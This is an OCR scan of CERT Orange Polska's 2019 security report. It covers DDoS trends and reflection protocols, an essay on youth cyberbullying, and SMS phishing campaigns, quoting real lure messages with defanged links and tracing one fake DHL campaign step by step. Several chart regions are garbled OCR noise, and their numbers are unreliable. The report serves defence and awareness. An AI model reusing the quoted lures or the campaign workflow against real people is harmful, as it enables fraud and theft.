Przedstawiamy Ska|Q oraz typy wolumetrycznych ata kéW DDoS identy- Port 389 jest wykorzystywany przez ustuge CLDAP (Connectless Lightweight Directory Access Protocol), stuzgcej do korzysta-
fikowanych na analizowa nych IQCZGCh Orange Polska Analizy dOtyCZQ nia z ustug katalogowych. Najwiekszy ruch na tym porcie (powyzej 200 Gbps) zaobserwowano w styczniu oraz marcu.
przede WSZVStkim rodzajow wykrywa nVCh atakow DDOS’ ich sin, Czasu Charakterystyka ruchu na porcie 389 na analizowanym taczu Orange Polska

trwania oraz poréwnan z ubiegtym rokiem.

B cldap (389) in M cldap (389) out W szczytowy ruch na porcie
Ataki odmowy dostepu do ustugi (Distributed Denial of

250
Service — DDoS) to jedne z najprostszych i najbardziej popu-
larnych atakéw na sie¢ lub system komputerowy, a zarazem
jedne z bardziej niebezpiecznych i groznych w skutkach. Maksymalna _odno,ts)wana 200 [
Ich gtéwnym celem jest utrudnienie, bgdZ uniemozliwienie szczytowa wielkosc ataku:
korzystania z oferowanych przez zaatakowany system ustug ';; | l
sieciowych i w efekcie paraliz infrastruktury ofiary poprzez o 150 ‘
masowe wysyfanie zapytan do zaatakowanej ustugi. 2 3 9 5 § [ l x ] ‘
- N | \ Ol l
Na przetomie 2018 i 2019 roku Orange Polska wdrozyt , Gbps- 10
w swojej infrastrukturze nowe mechanizmy ochrony przed
atakami DDoS. Wtedy zaobserwowano znaczne nasilenie 50 A (| ll |
liczby i sity atakéw. Jednak brak ich skutecznos$ci spowo-
dowalt, ze w perspektywie roku trend zwigzany z atakami

jest zdecydowanie malejacy. Ich nasilenie wida¢ jedynie w 0

L L . . . Q) Q) Q) Q) Q) Q) ) & Q)
okresie $wigt, wakacji i ,,dtugich weekenddw” — to potwierdza A . . 7 7 N NS QN N N N QN N 0»9 Q\Q’ 6»9
nasze obserwacje, ze przewazajgca wiekszo$¢ atakow jest Srednia SZCZYtOWG wielkosc \9\? \g‘?:']/ \9‘5?/ \9“‘% \9‘0% \9@?’ \g’\% \g‘bq/ ,\&(’L ,\QQ’ ,\\q’ ,\q,q’
zwigzana z checig wyeliminowania uczestnikdw z gier online. ataku: N O O N O N o o A O\ SUE
data

W przypadku atakéw DDoS na uzytkownikdw biznesowych
égﬂgiﬁﬁ:’qgﬁgﬂ z?al(i)cnzeorl::i;ugzr;gs;iizakzt\frj%r;ir?ele kol Gb Port 123 jest uzywany przez ustuge NTP (Network Time Protocol) stuzgcej synchronizacji czasu w systemach teleinfor-

. o . o . matycznych i telekomunikacyjnych. Najwiekszy ruch na tym porcie zaobserwowano w marcu (niemal 140 Gbps) oraz w
rezultatéw. Wiecej na temat atakéw DDoS na klientow w 2hdele , B yozny yiny ywigkszy ymp ( Ps)

dni zej 100 Gbps).
artykule Krzysztofa Biatka na stronie 73. grudniu (powyzej Gbps)

Charakterystyka ruchu na porcie 123 na analizowanym taczu Orange Polska

Liczba oraz wolumen atakow DDoS w 2019 roku mntp(123)in  mntp(123) out M szczytowy ruch na porcie

160
M Liczba atakow B Najwiekszy atak w sieci stacjonarnej [Gbps] B Najwiekszy atak w sieci mobilnej [Gbps]
140 B
300 8000 120
_ o5Q - 7000
[2]
§ - 6000 z 7 100
o)
- 200 - 5000 © S
S < E
®© 150 4000 Q 2 ‘
4 - 3000 60 | |
= 100 ‘
o)
2 - 2000 w0 L | |
- 1000 ‘
0 0 20 T II | ‘ l
C _‘2\ O C a O O C C _\_C © C
e 5 0§ & 2 £ £ & % ¢ % G ‘
> g g 5 o 15 S % 2 S (}9\0) q/\q q,Q\% (}9’9 09»3‘ (19»9 q/\q (19\% q/Q@ S
7 < o = § = O ORI SR RN MR IR LR
a Q Q Q Q Q Q N Q Q QS
data

26 27



Raport CERT ORANGE POLSKA 2019 Raport CERT ORANGE POLSKA 2019

Port 53 uzywany przez ustuge DNS (Domain Name System), odpowiedzialng za wzajemna translacje nazw domenowych Port 19, uzywany przez protokét CharGen (Character Generator Protocol), ktory stuzy generowaniu znakéw w celach
i adreséw IP. Najwiekszy ruch na tym porcie zostat zidentyfikowany w lipcu (niemal 80 Gbps). testowych. Najwiekszy ruch na tym porcie zaobserwowano w lutym oraz marcu (ponad 3 Gbps).

Charakterystyka ruchu na porcie 53 na analizowanym faczu Orange Polska Charakterystyka ruchu na porcie 19 na analizowanym taczu Orange Polska

B domain(53) in  ®domain (53) out m szczytowy ruch na porcie B chargen (19)in Mchargen (19) out W szczytowy ruch na porcie
90 4,5
80 . 4,0
70 3,5
60 3,0
g | z
o 50 o 2,5
= ' =
Q Q
2 40 2 20
30 || I l | 15
20 1,0 I l \ l
I ||
10 | I | . 0,5 |
0 0,0 |
Q) Q) Q) Q) Q) Q) Q) Q) Q) Q) S Q) S S ) C) &) )
N N N N Q N N N N ) ) ) N Q N N Q N Q Q > 0»9 0»9 0»9
Vv v v v v v v v Vv o (19 o v Vv Vv Vv Vv v Vv Vv v 0% P 0%
SO S U N S M~ M S U MR Q @ M F P F P P @O0 N &
NS N N NS N N N N N N X NS N NS N NS N FOANA DA
Q Q Q Q Q Q Q Q Q > Q N Q Q Q Q Q Q Q Q Q N J N
data data
- r
Port 1900 jest uzywany przez protokét SSDP (Simple Service Discovery Protocol), ktéry stuzy do wykrywania urzadzen Atakl DDOS - typy ata kOW

UPNP (Universal Plug and Play), np. klawiatur, drukarek, czy routeréw. Najwiekszy ruch na tym porcie zaobserwowano

. o Klasyfikacja atakéw DDoS uzywana przez CERT Orange Polska opiera sie na trzech kategoriach o réznym poziomie kryty-
w sierpniu (niemal 8 Gbps).

cznosci. Przeprowadzana jest ona na podstawie wolumenu ruchu oraz czasu trwania anomalii. Alert wysoki najczesciej ma
istotny wptyw na dostepnos$¢ ustug, zas te o poziomach srednim i niskim ograniczajg ja jedynie w specyficznych warunkach.

Charakterystyka ruchu na porcie 1900 na analizowanym taczu Orange Polska Czesto$¢ wystepowania atakdw DDoS na przestrzeni ostatnich lat utrzymuje sie na zblizonym poziomie, cho¢ w roku
2019 zarejestrowano ich wiecej w poréwnaniu do roku 2018. Najwiecej alertow na przestrzeni roku 2019 zarejestrowano

B ssdp (1900)in M ssdp (1900) out M szczytowy ruch na porcie 13 kwietnia (ponad 560) oraz 27 stycznia (ponad 530).
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W rozktadzie procentowym poziomu krytycznosci atakow
DDoS najwiekszy udziat alertéw stanowia te o $rednim

stopniu krytycznosci — ponad potowe odnotowanych zdarzen.
W poréwnaniu do 2018 . jest ich nieznacznie wiecej. Nastgpit

wzrost odnotowanych zdarzen o krytycznosci wysokiej

o ponad 6 pp w poréwnaniu z rokiem 2018, natomiast spadek

tych o krytycznosci niskiej o niemal 10 pp.

Poziom krytycznosci alertow DDoS
w rozkfadzie procentowym

2019
B 2018

Diagram poziomu krytycznosci alertow DDoS
w rozktadzie procentowym

= 18,5%
m 18,6%
m 62,9%

M Niski
Bl Sredni
[ Wysoki
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W rozktadzie typow alertéw, podobnie jak w poprzednich
latach, najczesciej wystepujgcymi rodzajami atakéw wolume-
trycznych, obok UDP Fragmentation, byty ataki Reflected
DDoS przy uzyciu protokotéw UDP (CLDAP, DNS, NTP, SSDPR,
CHAR-GEN). Wsréd nich w roku 2019, podobnie jak w roku
2018, najczesciej wykorzystywane byly otwarte serwery
LDAP - identyfikowane w 52 proc. wszystkich atakdw
(najwiekszy wzrost w poréwnaniu do roku 2018 — o ponad 20
punktéw procentowych), otwarte serwery DNS (42 proc. —
znaczny wzrost w stosunku do roku 2018 — o0 20 pp.), niepo-
prawnie skonfigurowane serwery czasu (NTP) — identyfikowane
w 21 proc. wszystkich atakéw (spadek o niemal 12 pp.),
protokét CHARGEN (1 proc. — spadek o ponad 3 pp.) oraz
SSDP (ponizej 1 proc.). Ataki typu UDP Fragmentation
identyfikowane byty w ponad 82 proc. wszystkich atakow

(64 proc. w 2018 r. — wzrost o niemal 19 pp.).
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Warto odnotowac, iz w roku 2019 identyfikowano
sporadyczne przypadki atakow Reflected DDoS,

z wykorzystaniem takich ustug jak: Apple Remote
Desktop (ARD) - port (UDP/3283), WS-Discovery

(WSD) - port UDP/3702), czy Ubiquiti — port UDP/10001.

Rodzaje atakow:

UDP Fragmentation - atak polegajgcy na przesytaniu
przez atakujgcego duzych pakietéw UDP (powyzej 1500
bajtow). Zwazywszy na konieczno$¢ ponownego potgczenia
zdefragmentowanych pakietéw na urzadzeniu korcowym,
niezbedne jest wykorzystanie dodatkowych zasobow
procesora, co obcigza system informatyczny.

Reflected DDoS - inaczej atak odbity, czyli metoda
wykorzystujgca podatnosci protokotéw w komunikacji
sieciowej. W celu wzmocnienia (amplifikacji) uzyte moga
byé podatnosci m.in. takich protokotéw jak UDP, DNS,
NTP, CLDAP czy CHARGEN.

ICMP Flood - technika polegajgca na przestaniu
niestandardowej ilosci duzych pakietow ICMP w celu
»Zalania” sieci komputerowej ofiary. Zazwyczaj przy tym
ataku wykorzystuje sie sie¢ przejetych urzadzen (botow).
W wyniku operaciji, nastepuje ograniczenie przepustowosci
sieci i zablokowanie ustug.

SYN Flood - atak oparty na podatnosci three-way
handshake, procedury nawigzywania potaczenia
wykorzystywanej w protokole TCP. Atakujacy wysyta

na porty TCP flage SYN, ktéra stuzy do inicjowania
potaczenia pomiedzy hostem Zrédtowym a docelowym.
Nastepnie, system atakowanego odpowiada wiadomoscig
SYN-ACK, ktora otwiera port i czeka na potwierdzenie
nawigzania potgczenia - czeka na flage ACK od atakuja-
cego. Flaga jednak nie jest przesytana, przez co pota-
czenie nigdy nie jest ustanawiane, ale przez okreslony
czas ,ofiara” oczekuje na potwierdzenie co wykorzystuje
jej zasoby.

Jak sie broni¢?
Jak nie uczestniczy¢ w atakach
Reflected DDoS?

B wylaczy¢ ustuge wszedzie tam, gdzie nie jest potrzebna,

m  jeslinie jest to konieczne, nie udostepniac ustugi
wszystkim uzytkownikom,

m korzysta¢ z mozliwie najnowszej wersji protokotu.

Choc istnieje wiele metod ochrony przed DDoS, duze

ataki wolumetryczne moga zosta¢ powstrzymane jedynie
na poziomie ISP badz przy wsparciu specjalistycznych
firm ,,ukrywajacych” chronione serwisy za swojg infra-
struktura. W takiej sytuacji ograniczenie skutkéw nastepuje
dzieki geograficznemu rozproszeniu weztow, filtrowaniu
ztosliwego ruchu oraz faczom o duzej przepustowosci.

Srednia wielko$é szczytowego natezenia
ataku DDoS zaobserwowana w sieci
Orange Polska siegneta poziom

4,3 Gbps - ponad dwukrotny wzrost

w porownaniu do roku 2018 (przy 2,1
Gbps). Z kolei najwieksza odnotowana
wartos¢ natezenia ruchu w szczycie ataku
to ok. 239,5 Gbps/66,6 Mpps (przy

198 Gbps/20 Mpps w 2018).

Wolumen atakéw DDoS
zaobserwowanych w sieci Orange Polska
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Ataki DDoS - wolumen ataku
I czas trwania

Na wzrost sity atakdw wptyw majg nie tylko szybsze
tacza internetowe, ale tez przystepna cena atakow
DDoS na czarnym rynku oraz w duzym stopniu
wykorzystywanie technik wzmocnionego odbicia
oraz botnetdéw bazujgcych na urzadzeniach internetu
rzeczy. Rozktad procentowy wolumendw atakdéw
typu DDoS jest podobny jak w poprzednich latach.
W poréwnaniu do roku 2018 zaobserwowano wzrost
atakéw o sile powyzej 10 Gbps (o ponad 4 pp.),

w przedziale 0,2-0,5 Gbps (o niemal 5 pp.) oraz
nieznaczny wzrost atakéw w przedziale 5-10 Gbps

i w przedziale 0,5-2 Gbps. W pozostatych grupach
nastgpit spadek udziatu atakdw, najwiekszy w grupie
atakéw o sile ponizej 0,2 Gbps.

Podobnie jak w latach poprzednich utrzymuje sie
trend wskazujacy na coraz krétszy czas trwania
atakéw. Rozktad grup czasu trwania atakéw DDoS
jest bardzo zblizony do roku 2018. Wiekszos$¢é
zarejestrowanych alertéw, podobnie jak w 2018 roku,
trwato ponizej 10 minut (blisko 87 proc. wszystkich

— spadek o nieco ponad 1 pp.). Sredni czas

trwania wszystkich zarejestrowanych alertéow
wyniost ok.10 minut (11 minut w 2018 r.).

Wiecej na temat atakdw DDoS na klientow w artykule
Krzysztofa Bialka na stronie 73.
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CERT Orange Polska uswiadamia

Nienawis¢ byta i bedzie zawsze

,Kiedys to byto!”, ,Ach, ta dzisiejsza mtodziez...”.
»Znacie pojecie juvenoi?” Ukuty przez socjologa Davida
Finkelhora zwrot oznacza przesadzony lek, wynikajacy
z wplywu zmian spotecznych (przede wszystkim
mediéw spotecznosciowych). Czy jest zatem sie czego
obawiac? Czy dzisiaj, gdy nasze dzieci sg ,,digital
natives”, a sie¢ jest immanentng czescig ich zycia,
bedzie ona mie¢ nieodwracalny wptyw na ich psychike?
Wreszcie — czy w aspekcie pokus i ryzyk XXI wiek tak
bardzo rézni sie od lat 70./80. ubiegtego stulecia?

»Dla beki”

WyobraZcie sobie takg sytuacje, ktora faktycznie miata
miejsce w jednej ze stotecznych szkét. Do VIII klasy
przychodzi nowa uczennica, ze sporym wyzwaniem
wdrozenia sie w funkcjonujaca juz od poczatku szkoty
grupe réwiesnicza. Obecnie bycie skrytym tez nie pomaga.
W efekcie jeden z uczniow zaktada konto na Facebooku
na fatszywe dane, wciggajac kolezanke w dyskusije,

0 — nazwijmy to — podtozu romantycznym. Mite stowa,
komplementy, a w zatozeniu: umowienie sie z nig na randke
w miejscu publicznym, wytacznie w celu ,,wystawienia”
ofiary. Gdy ta pojawi sie na miejscu i zaniepokojona zacznie
rozglada¢ za amantem — nakrecenie z ukrycia filmu i dalsze
rozpowszechnianie go wsrod ucznidw. Po co? ,Dla beki”
rzecz jasna. Jedni powiedzg, ze dla przyjemnosci ujrzenia
cudzego cierpienia, inni — ze ze zwyktej mtodzienczej
gtupoty, czy dla podbudowania wtasnego ego. Ostatecznie
cafa zaplanowana akcja nie udata sie do konca, gdy
dowcipnisia wydali bierni obserwatorzy, po tym, gdy
znudzit sie flirtowaniem i ni z tego ni z owego przeszedt

do wulgarnego obrazania ofiary. Wtedy znalezli sie
uczniowie, ktdrzy uznali, ze sprawy zabrnety

za daleko i poinformowali o catej sprawie dorostych.

Kiedys karteczki, teraz komunikatory

Brzmi strasznie? Trzeba przyznaé, ze przynajmniej

nie najlepiej. Nie sposdb nie wspotczuc¢ ofierze, mozna
sie cieszy¢, ze cata sytuacja zakonczyta sie dla niej
nieco mniejsza trauma. Pytanie jednak, czy za fakt,

iz to wszystko w ogdle sie zdarzyto, nalezy wini¢ internet?
Czy w latach 80., gdy sam bytem w wieku mtodziezy

z opisywanej historii, takie rzeczy nie miaty miejsca?
Sie¢ data tylko dodatkowa ptaszczyzne dziatan, natura
zachowan nastolatkéw pozostata niezmieniona.

Do tego, co dzisiaj piszemy przy uzyciu anonimowego
konta na Facebooku, kiedy$ wystarczyty mate karteczki,
podawane z tawki do tawki, gdy nauczyciel, nie patrzyt.
Co gorsza — wtedy od razu wszyscy widzieli, kto dostat
kartke, otwarcie obserwujgc reakcje ofiary. Dzisiejsza
mtodziez wcale nie jest gorsza od poprzedniego
pokolenia, a co do technologii — wrecz zaryzykowatbym
stwierdzenie, ze moga pomaéc. Tak, jak co roku, podczas
konczacej konferencje Safer Internet, otwartej debaty

bioracy w niej udziat rozmawiajg o cyberprzemocy, tak

ja chetnie stane w kontrze i powiem: ,Nie przesadzajmy!”.
Nie bez przyczyny wspominatem na poczatku artykutu

o digital natives, o tym, ze dla mtodziezy lat 20. XXI wieku
internet jest naturalnym srodowiskiem. Dlatego oni,
modwigc o swoich dzieciach, to nie w sieci bedg szukac
zrédta problemow.

Smartfon to nie demon

Nie demonizujmy internetu, nie demonizujmy technologii,
nie bojmy sie jej. Nauczmy sie z nig zy¢, postarajmy

sie, by wnikneta w nasze zycie na naszych prawach.

Czy opisana w artykule historia zdarzytaby sie, gdyby

nie byto Facebooka? Oczywiscie, ze tak, wygladataby tylko
nieco inaczej. Mowa nienawisci (nieanglojezyczny neutralny
w wydzwieku ,,hejt”, ktéry swoim brzmieniem nie niesie
odpowiednio duzego tadunku emocjonalnego) istnieje

od poczatku ludzkosci, niezaleznie od tego, jak rozwijajg
sie technologie. Co wiecej, dzieki technologiom dotarcie
do miodziezy nigdy nie byto tatwiejsze! Wystarczy wyjs¢

ze sztampy, do ktérej przez lata sie przyzwyczailiSmy.
Moze warto zacza¢ od tego, zeby nie traktowac telefonu

w szkole jak wroga? Zamiast wbija¢ w mtodziez archaiczne
podejscie, ze technologia to zto, zacza¢ regularnie uzywaé
ja na lekcjach? Dajac mozliwos¢ wykorzystania telefonu

w dobrym celu, nie tylko wyjdziemy z narracji przedstawiajgcej
go jako wymyst szatana, ale tez damy mtodziezy szanse
uzycia smartfonu kreatywnie, a nie tylko jako konsoli

do gier, ekranu do Youtube i XXI-wiecznej wersji stanych
przez sale lekcyjng karteczek. Co wiecej, jesli zainteresujemy
ich i zajmiemy im czas ,,dobrymi” uzyciami smartfonu,

na te gtupie moze im go po prostu zabraknac. | nikt nie
bedzie tego zatowad.

Michat Rosiak

Uwagal!

Wociaz wiele dzieci i mtodziezy nie
zgtasza nikomu niepokojacych zdarzen
w internecie. Powody s3g rozne: wstyd,
brak zaufania do rodzicéw, czy
nauczycieli. W takiej sytuacji
zalecamy skorzystanie ze strony
https://dyzurnet.pl. Tam, 24 godziny
na dobe, znajda gotowych do pomocy
specjalistow, jednoczesnie
zachowujac anonimowos¢.
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SMS, czyli krotka wiadomos¢ phishingowa

Phishing to obecnie najczesciej spotykany rodzaj ataku na uzytkownikéw indywidualnych. Podszywanie sie pod osoby, firmy
czy tez instytucje ma na celu m.in. przechwycenie danych logowania, kradziez srodkéw finansowych lub instalacje ztosliwego

oprogramowania. W niniejszym artykule skupimy sie na jednej z dwoch najpopularniejszych w 2019 roku form phishingu -

atakach z uzyciem wiadomosci SMS.

263 455 292

172 798 198
173 421 649
186 366 361

115 730 903
127 909 845

Styczen
Luty
Marzec
Kwiecien
Maj
Czerwiec

CyberTarcza: srednio

Liczba interwencji CyberTarczy
w rozkiadzie miesiecznym
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Paczka, kurier i... puste konto

W 2019 r. przestepcy wykazali sie duzg kreatywnoscig

w wymyslaniu powodoéw, dlaczego absolutnie, bezwzglednie,
koniecznie, bez zastanowienia, natychmiast i niezwtocznie
musimy odwiedzi¢ przygotowana przez nich fatszywa strone.
Probowali tez na rézne sposoby wykorzystaé okazane

im zainteresowanie. W ramach dziatan CERT Orange
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Polska zebraliSmy, przeanalizowali$my i pogrupowali$§my
w kampanie ataki, ktére miaty miejsce w ubiegtym roku.
Ponizej zamieszczamy najciekawsze i najpopularniejsze
z nich. Podane przyktady SMS-éw pochodza ze zgtoszen
od naszych klientow, dlatego dane umozliwiajace
identyfikacje zostaty usuniete.

Blokada ogtoszenia

Osoby zamieszczajace oferty w popularnych serwisach
ogtoszeniowych otrzymywaty SMS-y informujace,

ze ich ogtoszenia zostang zablokowane np. z powodu
uiszczenia niepetnej optaty. Skutecznos$¢ ataku byta
wyjatkowo wysoka, poniewaz wiadomosci kierowano
na dane kontaktowe znalezione w prawdziwych
ogtoszeniach. Po wejsciu na fatszywa strone pfatnosci

i podaniu danych, klient okradany byt z oszczednosci
zgromadzonych na koncie.

Od: OTOMOTO

Twoje konto w serwisie OTOMOTO zostalo zablokowane.
Oplac zalegle 0.76 PLN, by ponownie aktywowac
ogloszenie — hxxps://secure-pay24.pl/l...]

Niedoptacona faktura

Wiadomosci informujgce o niedoptaconej fakturze

za np. ustugi telekomunikacyjne lub energie elektrycznag
zawieraty grozbe blokady telefonu/wstrzymania
dostawy pradu. ,Wniesienie optaty” nastepowato

przez strone przestepcow.

Od: Alert

Przypominamy o zaleglosci na Twoim koncie
abonamentowym w wysokosci 2.09 PLN. Brak splaty
spowoduje blokade numeru hxxps://oplac24.pl/[...]

Faktura ze ztosliwym oprogramowaniem

SMS-y zawieraty informacje o wystawieniu faktury

na podejrzanie wysoka kwote oraz link do jej pobrania.
Pliki docelowe zamiast faktury, zawieraty ztosliwe
oprogramowanie infekujace urzadzenie klienta.

Wystawiono fakture na kwote 250 PLN za uslugi premium.
Szczegoly hxxp://[...J/[...].PDF.apk

Wygrana w konkursie sieci handlowej

Informacja o wygraniu atrakcyjnej nagrody (np. topowy
model smartfona) w loterii jednej z popularnych sieci
handlowych (w kampaniach wykorzystywane byty marki
sieci RTV/AGD i dyskontow). Nalezato tylko wpisaé
dane do wysyiki. Po wejsciu na strone i podaniu adresu
pocztowego klient proszony byt o uiszczenie drobnej
optaty rzedu 1-2 PLN za ubezpieczenie albo wysytke.
Oczywiscie przez strone przestepcow...

Od: MediaM9583
MediaMarkt czeka na Twoje dane do przesylki.
Sprawdz tutaj: hxxp://y27.us/[...]. Numer przesylki: [...]

Potwierdzenie deklaracji PIT

Kampania ta pojawita sie w okresie rozliczania PIT.
Przestepcy, podszywajac sie pod urzad skarbowy

i grozac wysokimi sankcjami, naktaniali do rzekomego
podpisania PIT przy pomocy przelewu wykonanego

z podrobionej przez nich strony.

Od: US e-PIT

Podpisz e-PIT od reki autoryzujac przelewem na 1.01zl.
hxxps://www.platnosciepity.com/[...] Brak zlozenia
podpisu do 30.04 moze grozic grzywna do 45000z

Doptata do przesyiki
Mechanizm opisano w szczegdtach w kolejnej czesci artykutu.

Aktywacja ustugi premium

Klienci otrzymywali informacje, ze zostata im aktywowana
ustuga premium (np. horoskop, anonse towarzyskie itp.),
za ktérag beda musieli ptaci¢ nawet 30 PLN dziennie.

Aby dezaktywowac rzekoma ustuge nalezato dokonaé
przelewu ze strony przestepcow i przy okazji... straci¢
wszystkie pienigdze.

Od: Eromal

Pomyslnie aktywowano SMS Premium Eromal. Jeden
sms z anonsem dziennie. Koszt 30,75 zl / dziennie.
Rezygnacja na stronie hxxps://eromal.com/[...]

Egzekucja komornicza

Klienci byli informowani o wszczeciu egzekucji przez
komornika i o mozliwosci dobrowolnej sptaty
(nieistniejacego) zadtuzenia. Co sie dziato dalej — wiadomo.

Od: Wezwanie24

Informujemy o rozpoczeniu egzekuciji Sygn. Akt 8231/19
z tytulu zaleglosci skarbowej 9.80 PLN. Uruchomilismy
splate przez PayU https://wezwanie24.eu/[...]

Wsparcie techniczne/zarzadzanie ustuga

Phishing rézny od poprzednio opisanych, gdyz tym razem
celem nie byty bezposrednio pieniadze, ale przejecie
powigzanego z telefonem konta w ustudze chmurowe;j.
SMS-y dostarczane byly takze w jezyku angielskim, gdyz
kampanie z tej rodziny czesto miaty miedzynarodowy
charakter. Przejete konto mogto postuzy¢ do kradziezy
przechowywanych na nim danych, ich usuniecia i zadania
okupu, resetowania hasta do innych serwiséw uzywajacych
adresu e-mail spietego z kontem.

Od: Apple

LOST MODE has been successfully disabled for your
iPhone. If you wish to enable it again visit:
hxxps://apple-us.com/[...]

Okolicznosciowe

Oproécz kampanii trwajacych wiele tygodni lub miesiecy,
zdarzaly sie tez kampanie okolicznos$ciowe. Przestepcy,
wykorzystujac szum medialny i dezorientacje klientéw, zwabiali
na swojg strone. Przyktadowo, gdy jedna z firm kurierskich
zachecata swoich klientéw do rezygnaciji z powiadomien
SMS i instalacji specjalnej aplikaciji, przestepcy rozpoczgli
rozsytanie SMS-éw z linkiem do pobrania wtasnego
(ztosliwego) oprogramowania. Odbiorcy, myslac, ze ma to
zwigzek z dziataniami firmy, o ktorych styszeli w mediach,
tatwiej padali ofiarg oszustwa.
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Bo paczka byta za ciezka...

Ataki na ,,doptate do kuriera” ciggnag sie juz od co najmniej
kilkunastu miesiecy. Aby pokaza¢ na czym one polegaja,
przesledzimy pojedynczy atak.

Narodziny kampanii

Opracowanie badz zakup na czarnym rynku mechanizmu
strony phishingowej (tzw. phishing kit), to najwieksza
inwestycja w catej kampanii, ale w przeciwienstwie

do pozostatych jej elementdw — wielorazowego uzytku.
Stworzone wiele lat temu i ciggle rozwijane oprogramo-
wanie, nadal niemal kazdego dnia uzywane jest do okra-
dania ludzi. Tak tez byto pewnego styczniowego dnia...

15.01.2020, rano: rejestracja domeny

Pojedynczy atak zaczyna sie od wymyslenia nazwy domeny,
ktdra nie wzbudzi podejrzen potencjalnych ofiar. Najczesciej
nawigzuje ona do nazwy firmy lub ustugi. Dodatkowo, nie
mogta by¢ uzyta wczesniej, gdyz takie od dawna sg
blokowane. Zadanie nie jest tatwe — ile mozna wymysli¢
kombinacji stowa paczka, przesytka czy doptata? Nawet jesli
dodamy do tego przyrostki typu 24, 48, 365, 247, to po kilku
miesigcach przestepczej dziatalnosci, zbiér wolnych domen
staje sie mocno ograniczony. Zagadnienie to opisujemy
szerzej w artykule ,Nie daj sie nabra¢ — schematy tworzenia
domen phishingowych” naszego Raportu.

W analizowanym przez nas ataku wybor przestepcow
ostatecznie padt na nazwe dhl-paczka.eu. Domena
zostata zarejestrowana.

O WHOIS DATA

Domain name dhl-paczka.eu
Status Registered @
Registered 15 jan 2020

15.01.2020, godz. 12:13: certyfikat

QOd dtuzszego czasu przegladarki ostrzegajg przed otwie-
raniem stron bez szyfrowania. Ponadto wiekszo$¢ osdb
zwraca uwage na obecnos¢ ,,zielonej ktédki”, btednie
uznajgc jg za gwarancje bezpieczenstwa. Do przeprowa-
dzenia skutecznego ataku phishingowego konieczne jest
wiec wystawienie certyfikatu SSL. Wprowadzenie na rynek
darmowych, automatycznie generowanych certyfikatow

w sposob istotny utatwito ich pozyskiwanie. Z jednej strony
przyczynito sie to do popularyzacji szyfrowania i tym samym
utrudnienia atakéw Man In The Middle, z drugiej jednak
utatwito ataki phishingowe. Przestepcy moga szybko

i bezproblemowo wtaczyé na swoich stronach

»Zielong ktddke”. Tak tez byto i tym razem.

Issuer: (ca D)

commonName = I
organizationName - I
countryName = Us

validity

Not Before: Jan 15 18:22:18 2820 GMT

Not After : Apr 14 18:22:18 2620 GMT
Subject:

commonName = dhl-paczka.eu
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15.01.2020, popotudnie: strona www

Domena zarejestrowana, certyfikat tez. Czas na
uruchomienie strony phishingowej. Do tego potrzebne
beda: infrastruktura serwerowa i kod samej strony.

Korzystanie z wiasnej infrastruktury do atakéw
phishingowych jest nieefektywne. Po pierwsze zostawia
$lady utatwiajgce wykrycie sprawcéw. Ponadto po
ujawnieniu phishingu operatorzy mogliby zablokowac¢
dostep do wykorzystywanej przez oszustéw infrastruktury.
Stataby sie ona niezdatna do prowadzenia dalszych
dziatan. Stad przestepcy chetnie wykorzystuja infrastrukture
publiczng, np. firm hostingowych. W przypadku wykrycia
phishingu, podejrzana strona jest wprawdzie usuwana

z serwera, ale przestepcy moga bezproblemowo
utworzy¢ kolejng, rejestrujac jg na nowe fikcyjne dane.

16.01.2020, godz. 18:09: SMS

Przygotowanie tresci i dostarczenie SMS-6w

do klientéw jest kluczowym elementem ataku,

od ktérego w najwiekszym stopniu zalezy jego
powodzenie. Przestepca musi przygotowac historie,
ktéra sktoni odbiorce do odwiedzania przygotowane;j
przez niego strony.

Do dostarczania wiadomosci wykorzystywane sa platformy
komercyjne, ktoére umozliwiaja tania wysytke SMS w hurtowych
ilosciach. Bramki te czesto umozliwiajg wprowadzenie dow-
olnej tresci do pola ,nadawca” (zarbwno numeru telefonu,
jak i nazwy tekstowej, np. ,,Bank”, ,Informacja”, ,Alert” itd.).
Umozliwia to podszywanie sie pod konkretne marki.

W przypadku gdy w telefonie przechowywane sg prawdziwe
SMS-y z nazwa nadawcy taka sama jak uzyta w ataku,
fatszywa wiadomos$é umieszczana jest w tym samym watku,
co znacznie zwigksza jej wiarygodnosé.

Ze zgtoszen klientéw do CERT Orange Polska wiemy,
ze w tym ataku tre$¢ wiadomosci wygladata nastepujaco:

Paczka na podany adres jest drozsza. Prosimy o doplate
1.79(PLN). Brak wplaty oznacza anulowanie
zamowienia — dhl-paczka.eu/zamowienie3354

Doptata do przesytki to jeden z najczesciej stosowanych przez
przestepcdw schematow. Wysytajgc kilkaset albo kilka tysiecy
SMS, prawdopodobienstwo trafienia na osobe, ktéra akurat
oczekuje na kuriera jest bardzo wysokie. Co wiecej, niewielka
kwota doptaty, wydaje sie matym problem w poréwnaniu

z catkowitym anulowaniem zamdwienia. Z tego wzgledu
szanse powodzenia takiego ataku sg bardzo wysokie.

16.01.2020, godz. 18:10: okradanie

Klienci chwile po otrzymaniu SMS klikaja w zawarty w nim
link. W przegladarce w telefonie otwiera im sie przygotowana
przez przestepcdw strona ptatnosci...

...ale nie tym razem!

Na telefonach naszych klientéw witryna wygladata jak

na rysunku ,,Blokada strony przez CyberTarcze”. Nie ma
fatszywego banku, jest za to CyberTarcza Orange. Pomimo,

iz niektérzy klienci dali sie nabra¢ na wiadomo$¢ od oszustow

i klikneli ztosliwy link, nie zostali okradzeni. Potaczenie
do strony przestepcow zostato przechwycone

i zablokowane. O tym, co by sie stato, gdyby nie
interweniowata CyberTarcza, napiszemy troche dalej.

Blokada strony przez CyberTarcze

Uwaga, zagrozenie

CyberTarcza Orange powstrzyymata probe
phishingu!

Widzisz te strone, poniewaz
prawdopodobnie klikngles/as w podejrzany
link w mailu lub na stronie internetowe;j.
Strona, na ktdra probujesz wejsc, to
potwierdzona witryna X
probujaca wytudzi¢ od Ciebie dane wrazliwe,

udajgc strone znanego serwisu/marki. Proba
wejscia na fatszywa strone zostata
zablokowana przez CyberTarcze. Wiasciwy
adres strony znajdziesz ponizej.

Powigzany serwis: DHL
Zty adres:
Prawidtowy adres:

(adres nie jest klikalny — zaznacz go
kursorem, skopiuj i wklej do przegladarki)

17.01.2020, rano: analiza incydentu

CyberTarcza to nie tylko ochrona klientow przed
zagrozeniami, ale takze zrodto ciekawych informacji

o szczegodtach przestepczych kampanii. Dzieki korelacji

z informacjami z innych systemow sieciowych,

np. wielkosciag ruchu na bramkach SMS, odtworzylismy
prawdopodobny przebieg czasowy ataku. Na gérnym
wykresie zaznaczyli§my na czerwono minutowa liczbe
klientow, ktérym CyberTarcza zablokowata wejscie na
strone dhl-paczka.eu. Szare pola to przedzialy czasowe,

